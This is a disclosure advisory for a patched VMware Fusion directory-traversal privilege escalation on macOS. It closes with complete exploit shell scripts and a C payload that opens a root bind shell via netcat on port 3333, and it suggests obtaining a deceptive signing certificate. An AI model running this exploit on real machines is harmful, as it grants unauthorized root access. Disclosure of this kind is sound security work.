Local Privilege Escalation via VMWare Fusion
Overview:
A directory traversal vulnerability in VMware Fusion's SUID binaries can allow
an attacker to run commands as the root user.
Tested Versions:
* VMware Fusion 10.1.3 (9472307) on macOS 10.13.6
* VMware Fusion 11.0.0 (10120384) on macOS 10.14.1
* VMware Fusion 11.0.2 (10952296) on macOS 10.14.1
* VMware Fusion 11.5.0 (14634996) on macOS 10.15.1
* VMware Fusion 11.5.1 (15018442) on macOS 10.15.1
Exercising:
1) Ensure the VMware Fusion services are not running. If open, quit the VMware
Fusion GUI.
2) Run one of the exploit script (exploit_fusion.sh or exploit_usb.sh). They
will remain running until manually stopped via CTRL-c. The exploit will start
a netcat listener as root on TCP port 3333.
3) Connect to the netcat listener: nc 127.0.0.1 3333
Details:
This vulnerability is a directory traversal bug inside of VMware Fusion. Several
of the programs included in VMware Fusion rely on the their path on disk to find
other libraries, helper utilities, and service daemons. Two such instances of
this code pattern in SUID programs can be found in the "Open VMware Fusion
Services" executable and the "Open VMware USB Arbitrator Service" executable.
These programs try to open the service programs by looking for the files:
Open VMware Fusion Services:
$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware Fusion Services
Open VMware USB Arbitrator Service:
$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware USB Arbitrator Service
While ordinarily this is fine, as any attempt to copy the programs will not copy
the SUID ownership of the file and any attempt to the move the programs will
fail without root access. Furthermore symbolic links will not trick the programs
into using the new location. However, on macOS unprivileged users can create
hard links to SUID executables, which will trick the programs. Thus, by creating
an adequate directory layout and hard linking to the SUID programs, we can trick
them into running an executable of our choice as the root user. The included
exploit_usb.sh and exploit_fusion.sh scripts setup the correct directory
structure and hard link, compile the payload, and run the linked program in
order to start a netcat listener as root on TCP port 3333.
In addition to the two SUID executables listed above, the SUID executable
"vmware-authd" is also vulnerable to this bug. vmware-authd tries to load two
libraries, libcrypto and libssl, from the incorrect directory. However, the two
libraries must be signed by apple or with an apple distributed signing
certificate from an organization containing the word "VMware". As such, this bug
is harder to exploit in vmware-authd. Depending on how strict Apple's developer
verification process is, it may be possible to fool Apple into granting a
matching certificate by hiding VMware within a phrase, such as with a
certificate for "Never Mind Where cloud services inc (NVMware Inc)".
One limitation to this vulnerability is that these two vulnerable service
openers will not try to open their services if the service is already running.
Thus, the exploit will not work if the "VMware USB Arbitrator Service" and
"VMware Fusion Services" services are already running. Thus, if the VMware
Fusion GUI is open, this vulnerability cannot be exploited. However, closing the
GUI will stop the services associated with the vulnerable service openers and
make the vulnerability once again exploitable. In contrast, the library
injection attack is not subject to these restrictions (but requires the
appropriate certificate).
As a side note, the vulnerable code is also used in VMware Workstation on Linux.
However, Linux does not allow an unprivileged user to create hard links to files
they do not own. As such, this bug is not exploitable in VMware Workstation on
Linux.
Timeline:
2019.11.12 Reported to VMware
2019.12.18 VMware confirms they can reproduce the issue
2019.12.24 Asked for status update, were told we'd get an update in early Jan
2020.01.08 Requested status update, were told fix scheduled for April 2020
2020.01.15 Called VMware to discuss
2020.01.21 Follow up meeting with VMware to discuss
2020.03.17 VMware releases patch & public disclosure
## exploit_fusion.sh
```
#!/bin/sh
# Remake the necessary folder structure
rm -rf a Contents
mkdir -p Contents/Library/services/
mkdir -p a/b/c/
# Build our payload
clang payload.c -o "Contents/Library/services/VMware Fusion Services"
# Create a hard link to the VMware SUID opener program
ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services a/b/c/linked
# Run the linked program, which causes it to be confused about the path, and
# launch our payload. Additionally if our payload exits, VMware will relaunch
# it
a/b/c/linked
```
## exploit_fusion.sh EOF
## exploit_usb.sh
```
#!/bin/sh
# Remake the necessary folder structure
rm -rf a Contents
mkdir -p Contents/Library/services/
mkdir -p a/b/c/
# Build our payload
clang payload.c -o "Contents/Library/services/VMware USB Arbitrator Service"
# Create a hard link to the VMware SUID opener program
ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ USB\ Arbitrator\ Service a/b/c/linked
# Run the linked program, which causes it to be confused about the path, and
# launch our payload. Additionally if our payload exits, VMware will relaunch
# it
a/b/c/linked
```
## exploit_usb.sh EOF
## payload.c
```
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char**argv) {
setuid(0);
system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 3333 > /tmp/f");
return 0;
}
```
## payload.c EOF
